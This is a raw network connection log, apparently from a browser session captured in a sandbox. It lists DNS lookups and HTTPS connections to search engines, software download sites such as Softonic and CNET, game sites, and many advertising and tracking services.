DE 18.195.196.171:443 ih.adscale.de tcp
US 8.8.8.8:53 171.196.195.18.in-addr.arpa udp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
US 8.8.8.8:53 bat.bing.com udp
US 151.101.129.91:443 sc.sftcdn.net udp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 play.google.com udp
GB 142.250.200.46:443 play.google.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 improving.duckduckgo.com udp
GB 142.250.200.46:443 play.google.com tcp
GB 142.250.200.46:443 play.google.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 46.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
GB 142.250.200.46:443 play.google.com udp
US 8.8.8.8:53 lh3.googleusercontent.com udp
GB 172.217.169.33:443 lh3.googleusercontent.com tcp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 play-lh.googleusercontent.com udp
US 8.8.8.8:53 ssl.gstatic.com udp
US 8.8.8.8:53 i.ytimg.com udp
GB 216.58.213.22:443 i.ytimg.com tcp
US 8.8.8.8:53 i.ytimg.com udp
GB 142.250.179.227:443 ssl.gstatic.com tcp
US 8.8.8.8:53 ssl.gstatic.com udp
GB 142.250.179.246:443 i.ytimg.com tcp
GB 142.250.179.246:443 i.ytimg.com tcp
GB 142.250.179.246:443 i.ytimg.com tcp
GB 142.250.179.246:443 i.ytimg.com tcp
GB 142.250.179.246:443 i.ytimg.com tcp
GB 142.250.179.246:443 i.ytimg.com tcp
US 8.8.8.8:53 play-lh.googleusercontent.com udp
US 8.8.8.8:53 play-games.googleusercontent.com udp
US 8.8.8.8:53 ssl.gstatic.com udp
US 8.8.8.8:53 play-lh.googleusercontent.com udp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
GB 142.250.179.246:443 play-lh.googleusercontent.com tcp
US 8.8.8.8:53 22.213.58.216.in-addr.arpa udp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
GB 216.58.213.22:443 i.ytimg.com udp
GB 142.250.179.246:443 play-lh.googleusercontent.com udp
GB 142.250.179.227:443 ssl.gstatic.com udp
GB 142.250.178.4:443 www.google.com udp
GB 142.250.179.227:443 ssl.gstatic.com udp
GB 142.250.179.227:443 ssl.gstatic.com tcp
US 8.8.8.8:53 region1.google-analytics.com udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 216.58.212.225:443 play-games.googleusercontent.com tcp
GB 216.58.212.225:443 play-games.googleusercontent.com udp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
GB 88.221.135.41:443 www.bing.com udp
US 8.8.8.8:53 e86303.dscx.akamaiedge.net udp
US 8.8.8.8:53 e86303.dscx.akamaiedge.net udp
US 8.8.8.8:53 geometry-dash-official-lf2.en.softonic.com udp
US 151.101.193.91:443 geometry-dash-official-lf2.en.softonic.com tcp
US 151.101.193.91:443 geometry-dash-official-lf2.en.softonic.com tcp
US 8.8.8.8:53 41.135.221.88.in-addr.arpa udp
US 151.101.193.91:443 geometry-dash-official-lf2.en.softonic.com udp
US 8.8.8.8:53 images.sftcdn.net udp
US 151.101.129.91:443 images.sftcdn.net tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 rv-assets.softonic.com udp
US 8.8.8.8:53 bat.bing.com udp
AT 18.66.27.26:443 sdk.privacy-center.org tcp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
AT 18.66.27.26:443 sdk.privacy-center.org udp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
DK 157.240.200.14:443 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 o4508370636111872.ingest.de.sentry.io udp
US 34.120.62.213:443 o4508370636111872.ingest.de.sentry.io udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 o4508370636111872.ingest.de.sentry.io udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 130.211.23.194:443 api.btloader.com udp
GB 163.70.147.35:443 www.facebook.com udp
US 8.8.8.8:53 c.clarity.ms udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
GB 142.250.178.4:443 www.google.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
GB 172.217.169.46:443 syndicatedsearch.goog tcp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 aec4c98aaa76279b51fabcb9523cdafd.safeframe.googlesyndication.com udp
GB 216.58.212.225:443 aec4c98aaa76279b51fabcb9523cdafd.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 aec4c98aaa76279b51fabcb9523cdafd.safeframe.googlesyndication.com udp
GB 172.217.169.46:443 syndicatedsearch.goog udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
GB 172.217.16.226:443 partner.googleadservices.com tcp
GB 172.217.16.226:443 partner.googleadservices.com tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
GB 216.58.212.225:443 aec4c98aaa76279b51fabcb9523cdafd.safeframe.googlesyndication.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 172.217.16.226:443 partner.googleadservices.com udp
NL 139.45.197.108:443 notix.io tcp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 ad.360yield.com udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 35.244.193.51:443 lexicon.33across.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 104.18.26.193:443 htlb.casalemedia.com udp
US 34.120.63.153:443 prebid.media.net udp
DE 88.99.208.233:443 shb.richaudience.com tcp
US 8.8.8.8:53 c.bing.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 id5-sync.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
US 8.8.8.8:53 lh3.googleusercontent.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 216.58.212.225:443 lh3.googleusercontent.com tcp
GB 216.58.212.225:443 lh3.googleusercontent.com udp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 ads.pubmatic.com udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 contextual.media.net udp
GB 95.100.244.20:443 contextual.media.net udp
US 104.18.26.193:443 htlb.casalemedia.com udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 172.111.38.111:443 tracker-use.ortb.net tcp
US 204.62.12.209:443 sync-service.net tcp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 ssc-cms.33across.com udp
US 8.8.8.8:53 player.aniview.com udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
DE 51.89.9.252:443 onetag-sys.com tcp
FR 91.134.110.133:443 ssbsync-euw2.smartadserver.com tcp
US 8.8.8.8:53 pixel.33across.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
GB 23.73.139.56:443 a1970.dscd.akamai.net udp
US 67.202.105.22:443 ssc-cms.33across.com tcp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 pixel.33across.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 cdn.indexww.com udp
US 8.8.8.8:53 cdn.indexww.com udp
US 8.8.8.8:53 cdn.indexww.com udp
US 172.111.38.111:443 tracker-use.ortb.net tcp
US 67.202.105.22:443 ssc-cms.33across.com tcp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 54.144.155.220:443 sync.srv.stackadapt.com tcp
US 192.132.33.69:443 bttrack.com tcp
US 35.244.174.68:443 id.rlcdn.com udp
US 8.8.8.8:53 56.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 220.155.144.54.in-addr.arpa udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 qvdt3feo.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
NL 185.89.210.180:443 ib.adnxs.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
US 8.8.8.8:53 c1.adform.net udp
NL 178.250.1.9:443 widget.nl3.vip.prod.criteo.com tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 track.adformnet.akadns.net udp
DK 37.157.6.237:443 c1.adform.net tcp
US 8.8.8.8:53 track.adformnet.akadns.net udp
NL 81.17.55.173:443 rtb-csync-euw1.smartadserver.com tcp
US 8.8.8.8:53 cs.yellowblue.io udp
US 8.8.8.8:53 cs.yellowblue.io udp
US 151.101.193.91:443 rv-assets.softonic.com tcp
US 8.8.8.8:53 237.6.157.37.in-addr.arpa udp
US 8.8.8.8:53 173.55.17.81.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 pc.evony.com udp
US 34.120.212.176:443 pc.evony.com tcp
US 8.8.8.8:53 pc.evony.com udp
US 8.8.8.8:53 pc.evony.com udp
US 34.120.212.176:443 pc.evony.com udp
US 8.8.8.8:53 emcl.evony.com udp
US 8.8.8.8:53 static.ads-twitter.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
CA 76.9.213.43:443 emcl.evony.com tcp
CA 76.9.213.43:443 emcl.evony.com tcp
US 8.8.8.8:53 emcl.evony.com udp
US 8.8.8.8:53 em.evony.com udp
US 8.8.8.8:53 176.212.120.34.in-addr.arpa udp
CA 38.45.227.13:443 em.evony.com tcp
US 8.8.8.8:53 em.evony.com udp
US 8.8.8.8:53 emcl.evony.com udp
US 8.8.8.8:53 platform.twitter.map.fastly.net udp
US 8.8.8.8:53 em.evony.com udp
GB 151.101.188.157:443 static.ads-twitter.com tcp
US 150.171.27.10:443 c.bing.com tcp
CA 38.45.227.13:443 em.evony.com tcp
GB 142.250.178.4:443 www.google.com tcp
US 151.101.1.91:443 rv-assets.softonic.com tcp
US 8.8.8.8:53 swls.map.fastly.net udp
US 151.101.65.91:443 swls.map.fastly.net tcp
US 150.171.27.10:443 c.bing.com tcp
GB 151.101.188.157:443 static.ads-twitter.com tcp
US 150.171.27.10:443 c.bing.com tcp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com tcp
US 8.8.8.8:53 13.227.45.38.in-addr.arpa udp
US 216.239.34.36:443 region1.google-analytics.com tcp
GB 142.250.178.4:443 www.google.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 142.250.187.227:443 www.google.co.uk tcp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 151.101.129.91:443 swls.map.fastly.net tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 151.101.129.91:443 swls.map.fastly.net udp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
US 151.101.129.91:443 swls.map.fastly.net udp
US 150.171.28.10:443 c.bing.com tcp
US 151.101.129.91:443 swls.map.fastly.net udp
US 8.8.8.8:53 c.bing.com udp
NL 139.45.197.108:443 notix.io tcp
US 8.8.8.8:53 1900e3a8069f36433c0c88119822d3a9.safeframe.googlesyndication.com udp
GB 142.250.187.193:443 1900e3a8069f36433c0c88119822d3a9.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 1900e3a8069f36433c0c88119822d3a9.safeframe.googlesyndication.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 1900e3a8069f36433c0c88119822d3a9.safeframe.googlesyndication.com udp
GB 142.250.187.193:443 1900e3a8069f36433c0c88119822d3a9.safeframe.googlesyndication.com udp
US 151.101.129.91:443 swls.map.fastly.net udp
US 8.8.8.8:53 193.187.250.142.in-addr.arpa udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
DE 167.235.114.248:443 sync.richaudience.com tcp
GB 2.18.109.44:443 e6603.g.akamaiedge.net tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 104.18.26.193:443 htlb.casalemedia.com udp
GB 216.58.204.66:443 cm.g.doubleclick.net tcp
GB 216.58.204.66:443 cm.g.doubleclick.net udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 204.62.12.209:443 sync-service.net tcp
US 8.8.8.8:53 atbunion.com udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 67.202.105.22:443 pixel.33across.com tcp
US 172.67.130.45:443 atbunion.com tcp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
FR 91.134.110.133:443 ssbsync-euw2.smartadserver.com tcp
US 8.8.8.8:53 atbunion.com udp
US 8.8.8.8:53 45.130.67.172.in-addr.arpa udp
US 8.8.8.8:53 atbunion.com udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 3.219.172.219:443 sync.srv.stackadapt.com tcp
US 8.8.8.8:53 qvdt3feo.com udp
US 172.67.130.45:443 atbunion.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 219.172.219.3.in-addr.arpa udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
NL 81.17.55.173:443 rtb-csync-euw1.smartadserver.com tcp
NL 185.89.210.180:443 ib.adnxs.com tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 mashagame.com udp
US 172.67.182.175:443 mashagame.com tcp
US 8.8.8.8:53 mashagame.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 mashagame.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 c.clarity.ms udp
IE 13.74.129.1:443 c.clarity.ms tcp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 172.67.182.175:443 mashagame.com udp
US 150.171.28.10:443 ax-0001.ax-msedge.net tcp
US 8.8.8.8:53 175.182.67.172.in-addr.arpa udp
US 8.8.8.8:53 consent.cookiebot.com udp
GB 184.28.198.210:443 consent.cookiebot.com tcp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
FR 23.51.97.201:443 consentcdn.cookiebot.com tcp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 201.97.51.23.in-addr.arpa udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 104.16.80.73:443 static.cloudflareinsights.com tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 image.mashagame.com udp
US 8.8.8.8:53 image.mashagame.com udp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com tcp
US 104.21.36.9:443 image.mashagame.com udp
US 8.8.8.8:53 73.80.16.104.in-addr.arpa udp
US 8.8.8.8:53 9.36.21.104.in-addr.arpa udp
US 8.8.8.8:53 fundingchoicesmessages.google.com udp
GB 172.217.169.14:443 fundingchoicesmessages.google.com tcp
US 8.8.8.8:53 www3.l.google.com udp
US 8.8.8.8:53 www3.l.google.com udp
GB 172.217.169.14:443 www3.l.google.com udp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com udp
GB 216.58.212.225:443 lh3.googleusercontent.com tcp
GB 216.58.212.225:443 lh3.googleusercontent.com udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 14.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 csi.gstatic.com udp
IN 142.250.183.195:443 csi.gstatic.com tcp
US 8.8.8.8:53 csi.gstatic.com udp
US 8.8.8.8:53 csi.gstatic.com udp
IN 142.250.183.195:443 csi.gstatic.com tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 195.183.250.142.in-addr.arpa udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
IN 142.250.183.195:443 csi.gstatic.com udp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
US 8.8.8.8:53 a9d6ce96a951bae6f53c34b74f5e889f.safeframe.googlesyndication.com udp
GB 142.250.200.33:443 a9d6ce96a951bae6f53c34b74f5e889f.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 a9d6ce96a951bae6f53c34b74f5e889f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 a9d6ce96a951bae6f53c34b74f5e889f.safeframe.googlesyndication.com udp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
GB 142.250.180.1:443 ep2.adtrafficquality.google tcp
GB 142.250.200.33:443 a9d6ce96a951bae6f53c34b74f5e889f.safeframe.googlesyndication.com udp
FR 23.51.97.201:443 consentcdn.cookiebot.com tcp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
IN 142.250.183.195:443 csi.gstatic.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
IN 142.250.183.195:443 csi.gstatic.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 www.gravatar.com udp
US 192.0.73.2:443 www.gravatar.com tcp
US 8.8.8.8:53 www.gravatar.com udp
US 8.8.8.8:53 www.gravatar.com udp
GB 142.250.178.4:443 www.google.com tcp
US 192.0.73.2:443 www.gravatar.com udp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 2.73.0.192.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 172.67.130.45:443 atbunion.com tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 www.clarity.ms udp
US 13.107.246.64:443 www.clarity.ms tcp
US 8.8.8.8:53 consent.cookiebot.com udp
IE 13.74.129.1:443 c.clarity.ms tcp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
GB 184.28.198.210:443 e110990.dsca.akamaiedge.net tcp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 consentcdn.cookiebot.com udp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 12205a28e66161a08c50b088ccbb43b2.safeframe.googlesyndication.com udp
GB 142.250.200.33:443 12205a28e66161a08c50b088ccbb43b2.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 12205a28e66161a08c50b088ccbb43b2.safeframe.googlesyndication.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
GB 142.250.200.33:443 12205a28e66161a08c50b088ccbb43b2.safeframe.googlesyndication.com udp
GB 142.250.200.33:443 12205a28e66161a08c50b088ccbb43b2.safeframe.googlesyndication.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 142.250.178.4:443 www.google.com udp
GB 172.217.169.14:443 www3.l.google.com udp
GB 172.217.169.14:443 www3.l.google.com udp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
US 8.8.8.8:53 www.google.co.uk udp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
GB 142.250.180.1:443 ep2.adtrafficquality.google tcp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 172.67.182.175:443 image.mashagame.com udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 download.cnet.com udp
US 151.101.65.91:443 download.cnet.com tcp
US 8.8.8.8:53 n.sni.global.fastly.net udp
IE 52.142.124.215:443 duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 download.cnet.com udp
US 8.8.8.8:53 cdn.cookielaw.org udp
US 8.8.8.8:53 assets.dwncdn.net udp
US 8.8.8.8:53 images.dwncdn.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
IE 52.142.124.215:443 duckduckgo.com tcp
US 151.101.129.91:443 images.dwncdn.net udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 cdn.cookielaw.org udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 cdn.cookielaw.org udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
US 8.8.8.8:53 images.dwncdn.net udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 151.101.129.91:443 images.dwncdn.net tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 151.101.1.91:443 images.dwncdn.net tcp
AT 18.66.22.10:443 c.amazon-adsystem.com tcp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 151.101.129.91:443 images.dwncdn.net udp
US 151.101.65.91:443 images.dwncdn.net udp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 151.101.129.91:443 images.dwncdn.net udp
DE 178.63.248.56:443 uidsync.net tcp
US 8.8.8.8:53 push-sdk.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 172.67.41.60:443 btloader.com tcp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
DE 157.90.33.72:443 uidsync.net tcp
US 172.67.69.19:443 ad-delivery.net tcp
GB 172.217.169.46:443 syndicatedsearch.goog udp
US 8.8.8.8:53 a66677a9d5fabf5be254805514fa11c1.safeframe.googlesyndication.com udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 api.btloader.com udp
US 104.26.6.141:443 api.btmessage.com tcp
US 216.58.212.193:443 a66677a9d5fabf5be254805514fa11c1.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 a66677a9d5fabf5be254805514fa11c1.safeframe.googlesyndication.com udp
US 8.8.8.8:53 a66677a9d5fabf5be254805514fa11c1.safeframe.googlesyndication.com udp
